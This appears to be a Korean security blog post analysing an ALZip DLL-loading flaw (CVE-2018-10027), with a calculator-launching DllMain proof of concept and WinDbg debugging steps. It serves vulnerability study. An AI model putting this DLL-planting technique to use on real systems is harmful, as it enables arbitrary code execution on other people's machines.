CVE Details:
https://www.cvedetails.com/cve/CVE-2018-10027/
개요
알집 10.76 이하 버전에서
%PROGRAMFILES%\ESTsoft\ALZip\Formats, %PROGRAMFILES%\ESTsoft\ALZip\Coders,
%PROGRAMFILES(X86)%\ESTsoft\ALZip\Formats,
%PROGRAMFILES(X86)%\ESTsoft\ALZip\Coders
세 경로에 포함된 DLL파일을 모두 로드하여 임의 코드 실행이 가능합니다.
취약점 탐색
%PROGRAMFILES(X86)%\ESTsoft\ALZip\Formats에 1.dll파일을 위치시킵니다.
windbg에서 알집을 실행하고 lm명령으로 로드된 모듈을 확인하면 1.dll이 로드된 것을 알 수 있습니다.
DLLMain
DLL파일은 로드되고 해제될때 DLLMain함수에 있는 swich문에 따라 여러가지 동작을 수행하게 됩니다.
BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpReserved ) // reserved
{
// Perform actions based on the reason for calling.
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
{
WinExec("calc.exe",SW_SHOWNORMAL);
break;
}
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
}
return TRUE; // Successful DLL_PROCESS_ATTACH.
}
DLL이 로드 되는 경우 DLL_PROCESS_ATTACH안의 내용이 수행되는데, 이처럼 WinExec로 계산기를 띄우게 할 수 있습니다.
따라서 해당 dll을 로드하게 되면 계산기가 뜨게 됩니다.
취약점 분석
windbg를 이용해 알집을 열고, 직접 생성해서 폴더에 넣어준 1.dll이 로드되는 시점에 브레이크 포인트를 걸어보겠습니다.
sxe ld:suspect.dll
위의 명령어로 해당 dll이 로드되었을 때 브레이크가 걸리게 할 수 있습니다.
브레이크가 걸린뒤 콜스택을 확인하면, dll과 * 문자열을 볼 수 있습니다.
operator + 를 이용해 문자열들을 합쳐서 경로/*.dll이라는 문자열을 만드는 것을 확인할 수 있습니다.
같은함수 아래부분을 보면, for 문을 통해 링크드리스트를 돌면서 503c60함수를 실행하는 것을 확인할 수 있습니다.
함수503c60 내부에서 호출하는 함수에 함수포인터를 호출하는 부분이 있습니다.
이때 불리는 함수를 windbg로 확인해보면 ReleaseTaskControl + 0xce80입니다.
해당 함수는 LoadLibrary로 dll을 로드하는 함수입니다.
따라서 *.dll 와일드카드를 통해 해당 폴더의 모든 dll을 링크드리스트로 생성하여, 모두 로드하는 것을 확인할 수 있습니다.
알집을 실행하면 계산기가 뜨게됩니다.
'Security > Windows Exploit' 카테고리의 다른 글
[CVE-2011-1336]알집 mim 파일 버퍼 오버플로우 분석 (0) | 2020.08.17 |
---|---|
Notepad++ 7.6.2 xml buffer overflow 분석 (0) | 2020.07.23 |
아드레날린 2.2.5.3 플레이리스트 파일 wvx overflow 취약점 one day exploit 분석 (0) | 2020.07.14 |